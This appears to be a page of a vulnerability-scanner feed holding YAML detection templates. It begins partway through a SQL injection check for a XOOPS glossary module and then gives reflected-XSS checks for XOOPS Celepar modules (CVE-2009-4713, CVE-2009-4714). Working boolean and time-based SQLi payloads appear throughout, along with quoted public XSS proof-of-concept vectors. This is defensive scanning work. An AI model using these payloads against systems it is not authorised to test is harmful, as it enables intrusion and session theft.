    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: t_resp

  - id: bool-false-2
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{xdir}}/modules/glossaire/glossaire-aff.php?lettre=K%27%20AND%201%20RLIKE%20IF({{sc.a}}%2B{{sc.b}}%3D{{sc.bad2}},1,0x28)%20AND%20%27x%27%3D%27x"
    condition: "qm.hit"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: f2_resp

  - id: check-bool
    action: script
    code: |
      let re = "mysqli?_fetch_[a-z]+\\(\\)|You have an error in your SQL syntax|from regexp|Regex error";
      let b1 = if type_of(f1_resp.body) == "string" { f1_resp.body } else { "" };
      let bt = if type_of(t_resp.body) == "string" { t_resp.body } else { "" };
      let b2 = if type_of(f2_resp.body) == "string" { f2_resp.body } else { "" };
      let ok = qm.hit && t_resp.status != 0 && ereg(re, b1) && !ereg(re, bt) && ereg(re, b2);
      #{ ok: ok, found: if ok { "BOOL" } else { "" } }
    store_as: bp

  - id: report-bool
    action: match
    source: bp.found
    pattern: "^BOOL$"
    condition: "bp.ok"
    on_match:
      finding:
        confidence_delta: 0.65
        qod: 97
        evidence: "Boolean SQLi confirmed on {{xdir}}/modules/glossaire/glossaire-aff.php: lettre=K' AND 1 RLIKE IF({{sc.a}}+{{sc.b}}=S,1,0x28) AND 'x'='x raised a database result error for S={{sc.bad1}} and S={{sc.bad2}} but not for the correct sum S={{sc.sum}} (HTTP {{f1_resp.status}} / {{t_resp.status}} / {{f2_resp.status}})"
      stop: true

  - id: report-qm
    action: match
    source: qm.found
    pattern: "^QUOTE$"
    condition: "qm.hit"
    on_match:
      finding:
        confidence_delta: 0.50
        qod: 75
        evidence: "SQL injection: lettre=K' on {{xdir}}/modules/glossaire/glossaire-aff.php made the page print a database result error (fetch on a failed query), while the control lettre=K'' (valid SQL) did not (HTTP {{qm_resp.status}} / {{ctl_resp.status}})"
      stop: true

  # ── Stage 3 (errors hidden): row-independent time-based check ─────────────
  # Baseline: the glossary page must answer quickly with HTTP 200, look like
  # XOOPS / Glossaire, and show no fetch error.
  - id: baseline
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{xdir}}/modules/glossaire/glossaire-aff.php?lettre=K"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: base_resp

  - id: check-baseline
    action: script
    code: |
      let body = if type_of(base_resp.body) == "string" { base_resp.body } else { "" };
      let low = tolower(body);
      let ok = base_resp.status == 200 && base_resp.duration_ms < 4000
        && (low.contains("xoops") || low.contains("glossaire"))
        && !ereg("mysqli?_fetch_[a-z]+\\(\\)|You have an error in your SQL syntax|from regexp|Regex error", body);
      #{ ok: ok }
    store_as: bl

  - id: sleep-probe-1
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{xdir}}/modules/glossaire/glossaire-aff.php?lettre=K%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP({{sc.s1}})))noctis)%20AND%20%27x%27%3D%27x"
    condition: "bl.ok"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 35
    store_as: sleep1_resp

  - id: sleep-probe-2
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{xdir}}/modules/glossaire/glossaire-aff.php?lettre=K%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP({{sc.s2}})))noctis)%20AND%20%27x%27%3D%27x"
    condition: "bl.ok && sleep1_resp.duration_ms >= base_resp.duration_ms + sc.s1 * 1000 - 300"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 35
    store_as: sleep2_resp

  # Each delay must match the requested SLEEP times the same whole multiple k
  # (1..3: the page runs the injected query twice), and the longer SLEEP must
  # take at least k * 2.5 s more than the shorter one — a tarpit adding the
  # same delay to every request gives a gap of ~0.
  - id: check-timing
    action: script
    code: |
      let base = base_resp.duration_ms;
      let d1 = sleep1_resp.duration_ms - base;
      let d2 = sleep2_resp.duration_ms - base;
      let ok = false;
      if bl.ok && sleep1_resp.status != 0 && sleep2_resp.status != 0
        && d1 >= sc.s1 * 1000 - 300 && d2 >= sc.s2 * 1000 - 300 {
        for k in 1..4 {
          let w1 = d1 >= k * sc.s1 * 1000 - 300 && d1 <= k * sc.s1 * 1000 + 2500;
          let w2 = d2 >= k * sc.s2 * 1000 - 300 && d2 <= k * sc.s2 * 1000 + 2500;
          if w1 && w2 && (d2 - d1) >= k * 2500 { ok = true; }
        }
      }
      #{ blind: ok, found: if ok { "SLEEP" } else { "" } }
    store_as: tb

  - id: report-time
    action: match
    source: tb.found
    pattern: "^SLEEP$"
    condition: "tb.blind"
    on_match:
      finding:
        confidence_delta: 0.40
        qod: 70
        evidence: "Time-based SQLi confirmed: lettre=K' AND (SELECT 1 FROM (SELECT(SLEEP(n)))noctis) AND 'x'='x on {{xdir}}/modules/glossaire/glossaire-aff.php delayed the reply by a multiple of the injected n — baseline {{base_resp.duration_ms}} ms, SLEEP({{sc.s1}}) {{sleep1_resp.duration_ms}} ms, SLEEP({{sc.s2}}) {{sleep2_resp.duration_ms}} ms"
      stop: true

XOOPS Celepar Qas Module Reflected Cross-Site Scripting

CVECVE-2009-4713
Severitymedium · CVSS 4.3
Categoryxss — XSS
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/xoops/CVE-2009-4713.yaml

The Qas (Quas) module of XOOPS Celepar prints the cod_categoria parameter of modules/qas/categoria.php, the opcao parameter of modules/qas/index.php and the path appended to both scripts (PATH_INFO) without HTML escaping, allowing reflected cross-site scripting.

This check looks for the module under the web root and the usual XOOPS install paths. Where it answers with a XOOPS page, it sends each of the four vectors a script element carrying a random marker. The vulnerability is confirmed when a reply contains that script element unescaped.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{xdir}}/modules/qas/index.php
  3. HTTP(S) request GET {{xdir}}/modules/qas/categoria.php?cod_categoria=1
  4. Parses / computes the next value with a Rhai script
  5. HTTP(S) request GET {{xdir}}/modules/qas/categoria.php?cod_categoria={{sc.p}}
  6. Parses / computes the next value with a Rhai script
  7. HTTP(S) request GET {{xdir}}/modules/qas/index.php?opcao={{sc.p}}
  8. Parses / computes the next value with a Rhai script
  9. HTTP(S) request GET {{xdir}}/modules/qas/categoria.php/{{sc.p}}
  10. Parses / computes the next value with a Rhai script
  11. HTTP(S) request GET {{xdir}}/modules/qas/index.php/{{sc.p}}
  12. Parses / computes the next value with a Rhai script
  13. Checks hit for \S → finding QoD 75: XOOPS Celepar Qas Module Reflected XSS (CVE-2009-4713)

References:

Feed source — tests/vulnerabilities/xoops/CVE-2009-4713.yaml
# XOOPS Celepar — Qas (Quas) module reflected XSS (CVE-2009-4713)
#
# The Qas module of XOOPS Celepar prints, without HTML escaping, the
# cod_categoria parameter of modules/qas/categoria.php, the opcao parameter of
# modules/qas/index.php, and the PATH_INFO of both scripts (the form action is
# PHP_SELF). Public proof of concept (EDB-9261):
#   categoria.php?cod_categoria="><script>alert(document.cookie);</script>
#   index.php?opcao=1>'><ScRiPt %0A%0D>alert(439286918587)%3B</ScRiPt>
#   categoria.php/>'><ScRiPt>alert(665068655391)</ScRiPt>
#   index.php/>'><ScRiPt>alert(657988605523)</ScRiPt>
# The XOOPS Celepar tarball is no longer downloadable, so the vectors follow the
# advisory. No fixed release was published.
#
# Detection (QoD 75), per candidate install dir where index.php or categoria.php
# of the module answers HTTP 200 with XOOPS markup (generator meta, "Powered by
# XOOPS" footer or the core xoops.js / xoops.css — none can come from the URL, so
# a catch-all page echoing the request is not reported): the four vectors above are sent with
#   1'"><script>alert(/noctis<random>/)</script>
# (no quote inside the script, so magic_quotes_gpc cannot break it) and the
# vulnerability is confirmed when the reply carries the <script> element
# verbatim. A random marker means no static page can match.
#
# Better than the source NVT: it only tests the cod_categoria vector, and only
# when modules/qas/index.php shows the untranslated "_MI_QAS_POR" language
# constant (a false negative on every correctly translated install); here every
# vector of the CVE is tested and the usual install dirs are walked.
#
# Source: OpenVAS/Greenbone NVT 2010/gb_xoops_celepar_mult_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.801153, GPL-2.0-only).
uid: 7d814856-24b5-4927-9bcb-c6cd80a08fb9
name: "XOOPS Celepar Qas Module Reflected Cross-Site Scripting (CVE-2009-4713)"
description: |
  The Qas (Quas) module of XOOPS Celepar prints the cod_categoria parameter of
  modules/qas/categoria.php, the opcao parameter of modules/qas/index.php and the
  path appended to both scripts (PATH_INFO) without HTML escaping, allowing
  reflected cross-site scripting.

  This check looks for the module under the web root and the usual XOOPS install
  paths. Where it answers with a XOOPS page, it sends each of the four vectors a script element
  carrying a random marker. The vulnerability is confirmed when a reply contains
  that script element unescaped.
cves: [CVE-2009-4713]
cvss: 4.3
severity: medium
category: xss
confidence_base: 0.30
tags: [xoops, xoops-celepar, qas, xss, reflected]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2009-4713"
  - "https://www.exploit-db.com/exploits/9261"

steps:
  - id: gen-marker
    action: script
    code: |
      let tok = "noctis" + rand_int(10000000, 99999999);
      #{ want: "<script>alert(/" + tok + "/)</script>",
         p: "1%27%22%3E%3Cscript%3Ealert(/" + tok + "/)%3C/script%3E" }
    store_as: sc

  - id: init-hit
    action: set_var
    var_name: hit
    var_value: ""

  # ── Per candidate install dir (loop group) ────────────────────────────────
  - id: init-g-index
    action: set_var
    var_name: g_index
    var_value: {status: 0, body: null}
    loop:
      var: xdir
      over: ["", "/xoopscelepar", "/xoops", "/htdocs", "/xoops/htdocs", "/portal"]

  - id: init-g-cat
    action: set_var
    var_name: g_cat
    var_value: {status: 0, body: null}

  - id: init-gk
    action: set_var
    var_name: gk
    var_value: {index: false, cat: false}

  - id: init-r
    action: set_var
    var_name: r
    var_value: {status: 0, body: null}

  - id: gate-index
    action: http_request
    method: GET
    path: "{{xdir}}/modules/qas/index.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: g_index

  - id: gate-categoria
    action: http_request
    method: GET
    path: "{{xdir}}/modules/qas/categoria.php?cod_categoria=1"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: g_cat

  # Product gate: the reply must carry XOOPS markup that cannot come from the
  # request (generator meta / footer / core js-css) — a catch-all page that
  # echoes the URL must not be reported as this module.
  - id: gate-check
    action: script
    code: |
      let re = "(?i)<meta[^>]+content=.XOOPS|Powered by XOOPS|/xoops\\.js|/xoops\\.css";
      let bi = if type_of(g_index.body) == "string" { g_index.body } else { "" };
      let bc = if type_of(g_cat.body) == "string" { g_cat.body } else { "" };
      #{ index: g_index.status == 200 && ereg(re, bi), cat: g_cat.status == 200 && ereg(re, bc) }
    store_as: gk

  - id: probe-cod-categoria
    action: http_request
    method: GET
    path: "{{xdir}}/modules/qas/categoria.php?cod_categoria={{sc.p}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: "gk.cat"
    store_as: r

  - id: check-cod-categoria
    action: script
    code: |
      let body = if type_of(r.body) == "string" { r.body } else { "" };
      if body.contains(sc.want) { "categoria.php?cod_categoria=" } else { "" }
    store_as: hit

  - id: probe-opcao
    action: http_request
    method: GET
    path: "{{xdir}}/modules/qas/index.php?opcao={{sc.p}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'hit == "" && gk.index'
    store_as: r

  - id: check-opcao
    action: script
    condition: 'hit == "" && gk.index'
    code: |
      let body = if type_of(r.body) == "string" { r.body } else { "" };
      if body.contains(sc.want) { "index.php?opcao=" } else { "" }
    store_as: hit

  - id: probe-categoria-path
    action: http_request
    method: GET
    path: "{{xdir}}/modules/qas/categoria.php/{{sc.p}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'hit == "" && gk.cat'
    store_as: r

  - id: check-categoria-path
    action: script
    condition: 'hit == "" && gk.cat'
    code: |
      let body = if type_of(r.body) == "string" { r.body } else { "" };
      if body.contains(sc.want) { "categoria.php/ (PATH_INFO)" } else { "" }
    store_as: hit

  - id: probe-index-path
    action: http_request
    method: GET
    path: "{{xdir}}/modules/qas/index.php/{{sc.p}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'hit == "" && gk.index'
    store_as: r

  - id: check-index-path
    action: script
    condition: 'hit == "" && gk.index'
    code: |
      let body = if type_of(r.body) == "string" { r.body } else { "" };
      if body.contains(sc.want) { "index.php/ (PATH_INFO)" } else { "" }
    store_as: hit

  - id: report
    action: match
    source: hit
    pattern: "\\S"
    condition: 'hit != ""'
    on_match:
      finding:
        title: "XOOPS Celepar Qas Module Reflected XSS (CVE-2009-4713)"
        description: "The Qas module printed a script element sent in the request without HTML escaping: an attacker can run script in a victim's browser in the context of the XOOPS site through a crafted link."
        remediation: "No fixed XOOPS Celepar release was published: HTML-escape cod_categoria, opcao and PHP_SELF (htmlspecialchars) in modules/qas/categoria.php and index.php, or uninstall the Qas module."
        confidence_delta: 0.50
        qod: 75
        evidence: "install dir '{{xdir}}', vector modules/qas/{{hit}}: the reply contains {{sc.want}} unescaped"
      stop: true

XOOPS Celepar Quiz Module cadastro_usuario.php Cross-Site Scripting

CVECVE-2009-4714
Severitymedium · CVSS 4.3
Categoryxss — XSS
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/xoops/CVE-2009-4714.yaml

The Quiz module of XOOPS Celepar prints the path appended to modules/quiz/cadastro_usuario.php (PATH_INFO) without HTML escaping, allowing reflected cross-site scripting.

This check looks for the script under the web root and the usual XOOPS install paths. Where it answers with a XOOPS page, it requests it with a script element carrying a random marker appended to the path. The vulnerability is confirmed when the reply contains that script element unescaped.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{xdir}}/modules/quiz/cadastro_usuario.php
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET {{xdir}}/modules/quiz/cadastro_usuario.php/{{sc.p}}
  5. Parses / computes the next value with a Rhai script
  6. Checks hit for ^/ → finding QoD 75: XOOPS Celepar Quiz Module cadastro_usuario.php XSS (CVE-2009-4714)

References:

Feed source — tests/vulnerabilities/xoops/CVE-2009-4714.yaml
# XOOPS Celepar — Quiz module cadastro_usuario.php PATH_INFO XSS (CVE-2009-4714)
#
# The Quiz module of XOOPS Celepar prints PHP_SELF (the script path plus any
# PATH_INFO) without HTML escaping in modules/quiz/cadastro_usuario.php. Public
# proof of concept (packetstorm 0907-exploits/xoopsceleparquiz-xss.txt):
#   /modules/quiz/cadastro_usuario.php/>'><ScRiPt>alert(665188656961)</ScRiPt>
# The XOOPS Celepar tarball is no longer downloadable, so the vector follows the
# advisory. No fixed release was published.
#
# Detection (QoD 75), per candidate install dir where
# modules/quiz/cadastro_usuario.php answers HTTP 200 with XOOPS markup (generator
# meta, "Powered by XOOPS" footer or the core xoops.js / xoops.css — none can come
# from the URL, so a catch-all page echoing the request is not reported): the path
#   cadastro_usuario.php/1'"><script>alert(/noctis<random>/)</script>
# is requested, and the vulnerability is confirmed when the reply carries the
# <script> element verbatim. A random marker means no static page can match.
#
# Better than the source NVT: it requests /module/quiz/cadastro_usuario.php
# ("module", not "modules" — a path XOOPS never serves, so it can never
# report), and only after modules/quiz/login.php shows "Quiz:". Here the real
# module path is probed, gated on the vulnerable script itself, and the usual
# install dirs are walked.
#
# Source: OpenVAS/Greenbone NVT 2010/gb_xoops_celepar_mult_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.801153, GPL-2.0-only).
uid: 3b7c65fc-6665-4e0c-972e-bc7fc367e8d4
name: "XOOPS Celepar Quiz Module cadastro_usuario.php Cross-Site Scripting (CVE-2009-4714)"
description: |
  The Quiz module of XOOPS Celepar prints the path appended to
  modules/quiz/cadastro_usuario.php (PATH_INFO) without HTML escaping, allowing
  reflected cross-site scripting.

  This check looks for the script under the web root and the usual XOOPS install
  paths. Where it answers with a XOOPS page, it requests it with a script element carrying a random
  marker appended to the path. The vulnerability is confirmed when the reply
  contains that script element unescaped.
cves: [CVE-2009-4714]
cvss: 4.3
severity: medium
category: xss
confidence_base: 0.30
tags: [xoops, xoops-celepar, quiz, xss, reflected]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2009-4714"
  - "http://packetstormsecurity.org/0907-exploits/xoopsceleparquiz-xss.txt"

steps:
  - id: gen-marker
    action: script
    code: |
      let tok = "noctis" + rand_int(10000000, 99999999);
      #{ want: "<script>alert(/" + tok + "/)</script>",
         p: "1%27%22%3E%3Cscript%3Ealert(/" + tok + "/)%3C/script%3E" }
    store_as: sc

  - id: init-hit
    action: set_var
    var_name: hit
    var_value: ""

  - id: init-gate
    action: set_var
    var_name: g
    var_value: {status: 0, body: null}
    loop:
      var: xdir
      over: ["", "/xoopscelepar", "/xoops", "/htdocs", "/xoops/htdocs", "/portal"]

  - id: init-r
    action: set_var
    var_name: r
    var_value: {status: 0, body: null}

  - id: gate
    action: http_request
    method: GET
    path: "{{xdir}}/modules/quiz/cadastro_usuario.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: g

  # Product gate: XOOPS markup that cannot come from the request (generator meta,
  # footer, core js/css) — a catch-all page echoing the URL is not this script.
  - id: gate-check
    action: script
    code: |
      let body = if type_of(g.body) == "string" { g.body } else { "" };
      g.status == 200 && ereg("(?i)<meta[^>]+content=.XOOPS|Powered by XOOPS|/xoops\\.js|/xoops\\.css", body)
    store_as: gk

  - id: probe
    action: http_request
    method: GET
    path: "{{xdir}}/modules/quiz/cadastro_usuario.php/{{sc.p}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: "gk"
    store_as: r

  - id: check
    action: script
    code: |
      let body = if type_of(r.body) == "string" { r.body } else { "" };
      if body.contains(sc.want) { if xdir == "" { "/" } else { xdir } } else { "" }
    store_as: hit

  - id: report
    action: match
    source: hit
    pattern: "^/"
    condition: 'hit != ""'
    on_match:
      finding:
        title: "XOOPS Celepar Quiz Module cadastro_usuario.php XSS (CVE-2009-4714)"
        description: "modules/quiz/cadastro_usuario.php printed a script element appended to its path without HTML escaping: an attacker can run script in a victim's browser in the context of the XOOPS site through a crafted link."
        remediation: "No fixed XOOPS Celepar release was published: HTML-escape PHP_SELF (htmlspecialchars) in modules/quiz/cadastro_usuario.php, or uninstall the Quiz module."
        confidence_delta: 0.50
        qod: 75
        evidence: "install dir {{hit}}: modules/quiz/cadastro_usuario.php/{{sc.want}} returned the script element unescaped"
      stop: true

View these feeds on GitHub